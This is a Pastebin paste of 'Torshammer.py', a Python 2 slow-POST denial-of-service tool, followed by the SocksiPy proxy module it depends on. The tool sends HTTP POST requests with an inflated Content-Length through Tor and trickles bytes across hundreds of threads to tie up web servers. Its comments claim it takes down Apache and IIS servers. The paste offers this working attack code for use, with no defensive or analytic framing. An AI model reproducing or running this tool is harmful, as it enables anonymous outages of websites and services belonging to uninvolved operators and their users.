Advertisement
Freedom_X

Torshammer.py

Jul 1st, 2013
526
Never
Not a member of Pastebin yet? Sign Up, it unlocks many cool features!
  1. #!/usr/bin/python
  2.  
  3. # this assumes you have the socks.py (http://phiral.net/socks.py)
  4. # in the same directory and that you have tor running locally
  5. # on port 9050. run with 128 to 256 threads to be effective.
  6. # kills apache 1.X with ~128, apache 2.X / IIS with ~256.
  7.  
  8.  
  9. import os
  10. import re
  11. import time
  12. import sys
  13. import random
  14. import getopt
  15. import socks
  16. from threading import Thread
  17. from string import letters
  18.  
  19. class httpPost(Thread):
  20. def __init__(self, host):
  21. Thread.__init__(self)
  22. self.host = host
  23. self.port = 80
  24. self.socks = socks.socksocket()
  25. self.running = True
  26.  
  27. def _send_http_post(self, pause=10):
  28. self.socks.send("POST / HTTP/1.1\r\n"
  29. "Host: %s\r\n"
  30. "User-Agent: Mozilla/5.0 (Windows; U; MSIE 9.0; Windows NT 9.0; en-US)\r\n"
  31. "Connection: keep-alive\r\n"
  32. "Keep-Alive: 900\r\n"
  33. "Content-Length: 10000\r\n"
  34. "Content-Type: application/x-www-form-urlencoded\r\n\r\n" % (self.host))
  35.  
  36. for i in range(0, 9999):
  37. print "!",
  38. self.socks.send('E')
  39. time.sleep(random.randrange(1, 3))
  40.  
  41. self.socks.close()
  42.  
  43. def run(self):
  44. while self.running:
  45. while self.running:
  46. try:
  47. self.socks.setproxy(socks.PROXY_TYPE_SOCKS5, "127.0.0.1", 9050)
  48. self.socks.connect((self.host, self.port))
  49. print "c",
  50. break
  51. except Exception, e:
  52. if e.args[0] == 106 or e.args[0] == 60:
  53. break
  54. print "Couldn't connect:", e.args, self.host, self.port
  55. time.sleep(1)
  56. continue
  57. break
  58.  
  59. while self.running:
  60. try:
  61. self._send_http_post()
  62. except Exception, e:
  63. if e.args[0] == 32 or e.args[0] == 104:
  64. print "thread connection broken, retrying."
  65. self.socks = socks.socksocket()
  66. break
  67. print "Couldn't send message on thread because", e.args
  68. time.sleep(0.1)
  69. pass
  70.  
  71. def usage():
  72. print "./torshammer.py -t <target> -r <threads> [-h]",
  73.  
  74. def main(argv):
  75.  
  76. try:
  77. opts, args = getopt.getopt(argv, "ht:r:", ["help", "target=","threads="])
  78. except getopt.GetoptError:
  79. usage()
  80. sys.exit(-1)
  81.  
  82. target = ''
  83. threads = 0
  84.  
  85. for o, a in opts:
  86. if o in ("-h", "--help"):
  87. usage()
  88. sys.exit(0)
  89. elif o in ("-t", "--target"):
  90. target = a
  91. elif o in ("-r", "--threads"):
  92. threads = a
  93.  
  94. if target == '' or int(threads) <= 0:
  95. usage()
  96. sys.exit(-1)
  97.  
  98. print "\nTarget is: %s" % target
  99. print "Running with %d threads.\n" % int(threads)
  100.  
  101. rthreads = []
  102.  
  103. sys.stdout.write("!")
  104. for i in range(0, int(threads)):
  105. t = httpPost(target)
  106. rthreads.append(t)
  107. t.start()
  108.  
  109. for fthread in rthreads:
  110. fthread.join()
  111.  
  112. if __name__ == "__main__":
  113.  
  114. # try:
  115. # pid = os.fork()
  116. # if pid > 0:
  117. # sys.exit(0)
  118. # except OSError, e:
  119. # print >>sys.stderr, "fork #1 failed: %d (%s)" % (e.errno, e.strerror)
  120. # sys.exit(1)
  121. #
  122. # os.chdir('/')
  123. # os.setsid()
  124. # os.umask(0)
  125. #
  126. # try:
  127. # pid = os.fork()
  128. # if pid > 0:
  129. # sys.exit(0)
  130. # except OSError, e:
  131. # print >>sys.stderr, "fork #2 failed: %d (%s)" % (e.errno, e.strerror)
  132. # sys.exit(1)
  133.  
  134. main(sys.argv[1:])
  135.  
  136.  
  137.  
  138. SOCKS.PY:
  139. ---------
  140.  
  141. """SocksiPy - Python SOCKS module.
  142. Version 1.00
  143.  
  144. Copyright 2006 Dan-Haim. All rights reserved.
  145.  
  146. Redistribution and use in source and binary forms, with or without modification,
  147. are permitted provided that the following conditions are met:
  148. 1. Redistributions of source code must retain the above copyright notice, this
  149. list of conditions and the following disclaimer.
  150. 2. Redistributions in binary form must reproduce the above copyright notice,
  151. this list of conditions and the following disclaimer in the documentation
  152. and/or other materials provided with the distribution.
  153. 3. Neither the name of Dan Haim nor the names of his contributors may be used
  154. to endorse or promote products derived from this software without specific
  155. prior written permission.
  156.  
  157. THIS SOFTWARE IS PROVIDED BY DAN HAIM "AS IS" AND ANY EXPRESS OR IMPLIED
  158. WARRANTIES, INCLUDING, BUT NOT LIMITED TO, THE IMPLIED WARRANTIES OF
  159. MERCHANTABILITY AND FITNESS FOR A PARTICULAR PURPOSE ARE DISCLAIMED. IN NO
  160. EVENT SHALL DAN HAIM OR HIS CONTRIBUTORS BE LIABLE FOR ANY DIRECT, INDIRECT,
  161. INCIDENTAL, SPECIAL, EXEMPLARY, OR CONSEQUENTIAL DAMAGES (INCLUDING, BUT NOT
  162. LIMITED TO, PROCUREMENT OF SUBSTITUTE GOODS OR SERVICES; LOSS OF USE, DATA
  163. OR PROFITS; OR BUSINESS INTERRUPTION) HOWEVER CAUSED AND ON ANY THEORY OF
  164. LIABILITY, OR TORT (INCLUDING NEGLIGENCE OR OTHERWISE) ARISING IN ANY WAY OUT
  165. OF THE USE OF THIS SOFTWARE, EVEN IF ADVISED OF THE POSSIBILITY OF SUCH DAMANGE.
  166.  
  167.  
  168. This module provides a standard socket-like interface for Python
  169. for tunneling connections through SOCKS proxies.
  170.  
  171. """
  172.  
  173. import socket
  174. import struct
  175.  
  176. PROXY_TYPE_SOCKS4 = 1
  177. PROXY_TYPE_SOCKS5 = 2
  178. PROXY_TYPE_HTTP = 3
  179.  
  180. _defaultproxy = None
  181. _orgsocket = socket.socket
  182.  
  183. class ProxyError(Exception):
  184. def __init__(self, value):
  185. self.value = value
  186. def __str__(self):
  187. return repr(self.value)
  188.  
  189. class GeneralProxyError(ProxyError):
  190. def __init__(self, value):
  191. self.value = value
  192. def __str__(self):
  193. return repr(self.value)
  194.  
  195. class Socks5AuthError(ProxyError):
  196. def __init__(self, value):
  197. self.value = value
  198. def __str__(self):
  199. return repr(self.value)
  200.  
  201. class Socks5Error(ProxyError):
  202. def __init__(self, value):
  203. self.value = value
  204. def __str__(self):
  205. return repr(self.value)
  206.  
  207. class Socks4Error(ProxyError):
  208. def __init__(self, value):
  209. self.value = value
  210. def __str__(self):
  211. return repr(self.value)
  212.  
  213. class HTTPError(ProxyError):
  214. def __init__(self, value):
  215. self.value = value
  216. def __str__(self):
  217. return repr(self.value)
  218.  
  219. _generalerrors = ("success",
  220. "invalid data",
  221. "not connected",
  222. "not available",
  223. "bad proxy type",
  224. "bad input")
  225.  
  226. _socks5errors = ("succeeded",
  227. "general SOCKS server failure",
  228. "connection not allowed by ruleset",
  229. "Network unreachable",
  230. "Host unreachable",
  231. "Connection refused",
  232. "TTL expired",
  233. "Command not supported",
  234. "Address type not supported",
  235. "Unknown error")
  236.  
  237. _socks5autherrors = ("succeeded",
  238. "authentication is required",
  239. "all offered authentication methods were rejected",
  240. "unknown username or invalid password",
  241. "unknown error")
  242.  
  243. _socks4errors = ("request granted",
  244. "request rejected or failed",
  245. "request rejected because SOCKS server cannot connect to identd on the client",
  246. "request rejected because the client program and identd report different user-ids",
  247. "unknown error")
  248.  
  249. def setdefaultproxy(proxytype=None,addr=None,port=None,rdns=True,username=None,password=None):
  250. """setdefaultproxy(proxytype, addr[, port[, rdns[, username[, password]]]])
  251. Sets a default proxy which all further socksocket objects will use,
  252. unless explicitly changed.
  253. """
  254. global _defaultproxy
  255. _defaultproxy = (proxytype,addr,port,rdns,username,password)
  256.  
  257. class socksocket(socket.socket):
  258. """socksocket([family[, type[, proto]]]) -> socket object
  259.  
  260. Open a SOCKS enabled socket. The parameters are the same as
  261. those of the standard socket init. In order for SOCKS to work,
  262. you must specify family=AF_INET, type=SOCK_STREAM and proto=0.
  263. """
  264.  
  265. def __init__(self, family=socket.AF_INET, type=socket.SOCK_STREAM, proto=0, _sock=None):
  266. _orgsocket.__init__(self,family,type,proto,_sock)
  267. if _defaultproxy != None:
  268. self.__proxy = _defaultproxy
  269. else:
  270. self.__proxy = (None, None, None, None, None, None)
  271. self.__proxysockname = None
  272. self.__proxypeername = None
  273.  
  274. def __recvall(self, bytes):
  275. """__recvall(bytes) -> data
  276. Receive EXACTLY the number of bytes requested from the socket.
  277. Blocks until the required number of bytes have been received.
  278. """
  279. data = ""
  280. while len(data) < bytes:
  281. data = data + self.recv(bytes-len(data))
  282. return data
  283.  
  284. def setproxy(self,proxytype=None,addr=None,port=None,rdns=True,username=None,password=None):
  285. """setproxy(proxytype, addr[, port[, rdns[, username[, password]]]])
  286. Sets the proxy to be used.
  287. proxytype - The type of the proxy to be used. Three types
  288. are supported: PROXY_TYPE_SOCKS4 (including socks4a),
  289. PROXY_TYPE_SOCKS5 and PROXY_TYPE_HTTP
  290. addr - The address of the server (IP or DNS).
  291. port - The port of the server. Defaults to 1080 for SOCKS
  292. servers and 8080 for HTTP proxy servers.
  293. rdns - Should DNS queries be preformed on the remote side
  294. (rather than the local side). The default is True.
  295. Note: This has no effect with SOCKS4 servers.
  296. username - Username to authenticate with to the server.
  297. The default is no authentication.
  298. password - Password to authenticate with to the server.
  299. Only relevant when username is also provided.
  300. """
  301. self.__proxy = (proxytype,addr,port,rdns,username,password)
  302.  
  303. def __negotiatesocks5(self,destaddr,destport):
  304. """__negotiatesocks5(self,destaddr,destport)
  305. Negotiates a connection through a SOCKS5 server.
  306. """
  307. # First we'll send the authentication packages we support.
  308. if (self.__proxy[4]!=None) and (self.__proxy[5]!=None):
  309. # The username/password details were supplied to the
  310. # setproxy method so we support the USERNAME/PASSWORD
  311. # authentication (in addition to the standard none).
  312. self.sendall("\x05\x02\x00\x02")
  313. else:
  314. # No username/password were entered, therefore we
  315. # only support connections with no authentication.
  316. self.sendall("\x05\x01\x00")
  317. # We'll receive the server's response to determine which
  318. # method was selected
  319. chosenauth = self.__recvall(2)
  320. if chosenauth[0] != "\x05":
  321. self.close()
  322. raise GeneralProxyError((1,_generalerrors[1]))
  323. # Check the chosen authentication method
  324. if chosenauth[1] == "\x00":
  325. # No authentication is required
  326. pass
  327. elif chosenauth[1] == "\x02":
  328. # Okay, we need to perform a basic username/password
  329. # authentication.
  330. self.sendall("\x01" + chr(len(self.__proxy[4])) + self.__proxy[4] + chr(len(self.proxy[5])) + self.__proxy[5])
  331. authstat = self.__recvall(2)
  332. if authstat[0] != "\x01":
  333. # Bad response
  334. self.close()
  335. raise GeneralProxyError((1,_generalerrors[1]))
  336. if authstat[1] != "\x00":
  337. # Authentication failed
  338. self.close()
  339. raise Socks5AuthError,((3,_socks5autherrors[3]))
  340. # Authentication succeeded
  341. else:
  342. # Reaching here is always bad
  343. self.close()
  344. if chosenauth[1] == "\xFF":
  345. raise Socks5AuthError((2,_socks5autherrors[2]))
  346. else:
  347. raise GeneralProxyError((1,_generalerrors[1]))
  348. # Now we can request the actual connection
  349. req = "\x05\x01\x00"
  350. # If the given destination address is an IP address, we'll
  351. # use the IPv4 address request even if remote resolving was specified.
  352. try:
  353. ipaddr = socket.inet_aton(destaddr)
  354. req = req + "\x01" + ipaddr
  355. except socket.error:
  356. # Well it's not an IP number, so it's probably a DNS name.
  357. if self.__proxy[3]==True:
  358. # Resolve remotely
  359. ipaddr = None
  360. req = req + "\x03" + chr(len(destaddr)) + destaddr
  361. else:
  362. # Resolve locally
  363. ipaddr = socket.inet_aton(socket.gethostbyname(destaddr))
  364. req = req + "\x01" + ipaddr
  365. req = req + struct.pack(">H",destport)
  366. self.sendall(req)
  367. # Get the response
  368. resp = self.__recvall(4)
  369. if resp[0] != "\x05":
  370. self.close()
  371. raise GeneralProxyError((1,_generalerrors[1]))
  372. elif resp[1] != "\x00":
  373. # Connection failed
  374. self.close()
  375. if ord(resp[1])<=8:
  376. raise Socks5Error(ord(resp[1]),_generalerrors[ord(resp[1])])
  377. else:
  378. raise Socks5Error(9,_generalerrors[9])
  379. # Get the bound address/port
  380. elif resp[3] == "\x01":
  381. boundaddr = self.__recvall(4)
  382. elif resp[3] == "\x03":
  383. resp = resp + self.recv(1)
  384. boundaddr = self.__recvall(resp[4])
  385. else:
  386. self.close()
  387. raise GeneralProxyError((1,_generalerrors[1]))
  388. boundport = struct.unpack(">H",self.__recvall(2))[0]
  389. self.__proxysockname = (boundaddr,boundport)
  390. if ipaddr != None:
  391. self.__proxypeername = (socket.inet_ntoa(ipaddr),destport)
  392. else:
  393. self.__proxypeername = (destaddr,destport)
  394.  
  395. def getproxysockname(self):
  396. """getsockname() -> address info
  397. Returns the bound IP address and port number at the proxy.
  398. """
  399. return self.__proxysockname
  400.  
  401. def getproxypeername(self):
  402. """getproxypeername() -> address info
  403. Returns the IP and port number of the proxy.
  404. """
  405. return _orgsocket.getpeername(self)
  406.  
  407. def getpeername(self):
  408. """getpeername() -> address info
  409. Returns the IP address and port number of the destination
  410. machine (note: getproxypeername returns the proxy)
  411. """
  412. return self.__proxypeername
  413.  
  414. def __negotiatesocks4(self,destaddr,destport):
  415. """__negotiatesocks4(self,destaddr,destport)
  416. Negotiates a connection through a SOCKS4 server.
  417. """
  418. # Check if the destination address provided is an IP address
  419. rmtrslv = False
  420. try:
  421. ipaddr = socket.inet_aton(destaddr)
  422. except socket.error:
  423. # It's a DNS name. Check where it should be resolved.
  424. if self.__proxy[3]==True:
  425. ipaddr = "\x00\x00\x00\x01"
  426. rmtrslv = True
  427. else:
  428. ipaddr = socket.inet_aton(socket.gethostbyname(destaddr))
  429. # Construct the request packet
  430. req = "\x04\x01" + struct.pack(">H",destport) + ipaddr
  431. # The username parameter is considered userid for SOCKS4
  432. if self.__proxy[4] != None:
  433. req = req + self.__proxy[4]
  434. req = req + "\x00"
  435. # DNS name if remote resolving is required
  436. # NOTE: This is actually an extension to the SOCKS4 protocol
  437. # called SOCKS4A and may not be supported in all cases.
  438. if rmtrslv==True:
  439. req = req + destaddr + "\x00"
  440. self.sendall(req)
  441. # Get the response from the server
  442. resp = self.__recvall(8)
  443. if resp[0] != "\x00":
  444. # Bad data
  445. self.close()
  446. raise GeneralProxyError((1,_generalerrors[1]))
  447. if resp[1] != "\x5A":
  448. # Server returned an error
  449. self.close()
  450. if ord(resp[1]) in (91,92,93):
  451. self.close()
  452. raise Socks4Error((ord(resp[1]),_socks4errors[ord(resp[1])-90]))
  453. else:
  454. raise Socks4Error((94,_socks4errors[4]))
  455. # Get the bound address/port
  456. self.__proxysockname = (socket.inet_ntoa(resp[4:]),struct.unpack(">H",resp[2:4])[0])
  457. if rmtrslv != None:
  458. self.__proxypeername = (socket.inet_ntoa(ipaddr),destport)
  459. else:
  460. self.__proxypeername = (destaddr,destport)
  461.  
  462. def __negotiatehttp(self,destaddr,destport):
  463. """__negotiatehttp(self,destaddr,destport)
  464. Negotiates a connection through an HTTP server.
  465. """
  466. # If we need to resolve locally, we do this now
  467. if self.__proxy[3] == False:
  468. addr = socket.gethostbyname(destaddr)
  469. else:
  470. addr = destaddr
  471. self.sendall("CONNECT " + addr + ":" + str(destport) + " HTTP/1.1\r\n" + "Host: " + destaddr + "\r\n\r\n")
  472. # We read the response until we get the string "\r\n\r\n"
  473. resp = self.recv(1)
  474. while resp.find("\r\n\r\n")==-1:
  475. resp = resp + self.recv(1)
  476. # We just need the first line to check if the connection
  477. # was successful
  478. statusline = resp.splitlines()[0].split(" ",2)
  479. if statusline[0] not in ("HTTP/1.0","HTTP/1.1"):
  480. self.close()
  481. raise GeneralProxyError((1,_generalerrors[1]))
  482. try:
  483. statuscode = int(statusline[1])
  484. except ValueError:
  485. self.close()
  486. raise GeneralProxyError((1,_generalerrors[1]))
  487. if statuscode != 200:
  488. self.close()
  489. raise HTTPError((statuscode,statusline[2]))
  490. self.__proxysockname = ("0.0.0.0",0)
  491. self.__proxypeername = (addr,destport)
  492.  
  493. def connect(self,destpair):
  494. """connect(self,despair)
  495. Connects to the specified destination through a proxy.
  496. destpar - A tuple of the IP/DNS address and the port number.
  497. (identical to socket's connect).
  498. To select the proxy server use setproxy().
  499. """
  500. # Do a minimal input check first
  501. if (type(destpair) in (list,tuple)==False) or (len(destpair)<2) or (type(destpair[0])!=str) or (type(destpair[1])!=int):
  502. raise GeneralProxyError((5,_generalerrors[5]))
  503. if self.__proxy[0] == PROXY_TYPE_SOCKS5:
  504. if self.__proxy[2] != None:
  505. portnum = self.__proxy[2]
  506. else:
  507. portnum = 1080
  508. _orgsocket.connect(self,(self.__proxy[1],portnum))
  509. self.__negotiatesocks5(destpair[0],destpair[1])
  510. elif self.__proxy[0] == PROXY_TYPE_SOCKS4:
  511. if self.__proxy[2] != None:
  512. portnum = self.__proxy[2]
  513. else:
  514. portnum = 1080
  515. _orgsocket.connect(self,(self.__proxy[1],portnum))
  516. self.__negotiatesocks4(destpair[0],destpair[1])
  517. elif self.__proxy[0] == PROXY_TYPE_HTTP:
  518. if self.__proxy[2] != None:
  519. portnum = self.__proxy[2]
  520. else:
  521. portnum = 8080
  522. _orgsocket.connect(self,(self.__proxy[1],portnum))
  523. self.__negotiatehttp(destpair[0],destpair[1])
  524. elif self.__proxy[0] == None:
  525. _orgsocket.connect(self,(destpair[0],destpair[1]))
  526. else:
  527. raise GeneralProxyError((4,_generalerrors[4]))
Advertisement
Advertisement
Advertisement
RAW Paste Data Copied
Advertisement